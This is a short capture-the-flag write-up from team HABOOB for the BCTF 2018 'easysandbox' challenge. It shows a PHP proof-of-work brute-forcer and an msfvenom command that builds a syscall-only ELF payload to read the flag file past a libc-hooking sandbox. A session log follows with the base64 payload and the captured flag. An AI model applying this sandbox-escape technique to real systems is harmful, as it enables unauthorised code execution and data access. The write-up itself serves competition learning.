HABOOB

BCTF 2018 WRITE-UP

Welcome – easysandbox

CHALLENGE DESCRIPTION

nc 39.105.151.182 9999

server code in github

SOLUTION

The server code is a python code that will listen to our connection and then will ask us for proof-of-work. Using this php script, we can find the value.

```php
<?php
while(true){
    $code = rand();
    $encoded = substr(md5($code . $argv[2]),0,4);
    if ($encoded == $argv[1]){
    echo $code . "\n";
    break;
    }
}
?>
```

The application then expect us to give him an elf binary encoded in base64 and make sure your input is less than 104576, the app then decode and write the elf in disk and execute it with a custom shared object called scf.so that will hook the binary libc functions.

We will use syscall execve, msfvenom generate elf binary that rely on syscalls,

msfvenom -p linux/x86/exec cmd="/bin/cat /home/ctf/flag" -f elf | base64 –

```
root@kali:~/Downloads/157c55f8-e206-4424-8003-c85a2efef3a0/attachment# nc 39.105.151.182 9999
[*]Proof of work:
        MD5(key+"tqgzEZiWa7")[:4]==eee6
[+]Give me the key:
1558866691
[+]escape the sandbox!
f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAiPA
AAAygAAAAcAAAAAEAAAagtYmVJmaC1jiedoL3NoAGgvYmluieNS6BgAAAAvYmluL2NhdCAvaG9tZS9jdGYvZmxhZwBXU4
nhzYA=
192
[x] Starting local process '/tmp/1543420522.12.elf'
[+] Starting local process '/tmp/1543420522.12.elf': pid 10849
[*] Switching to interactive mode
bctf{b0ce37b959498c99d251bdd4de5108a1}
[*] Process '/tmp/1543420522.12.elf' stopped with exit code 0 (pid 10849)
[*] Got EOF while reading in interactive
```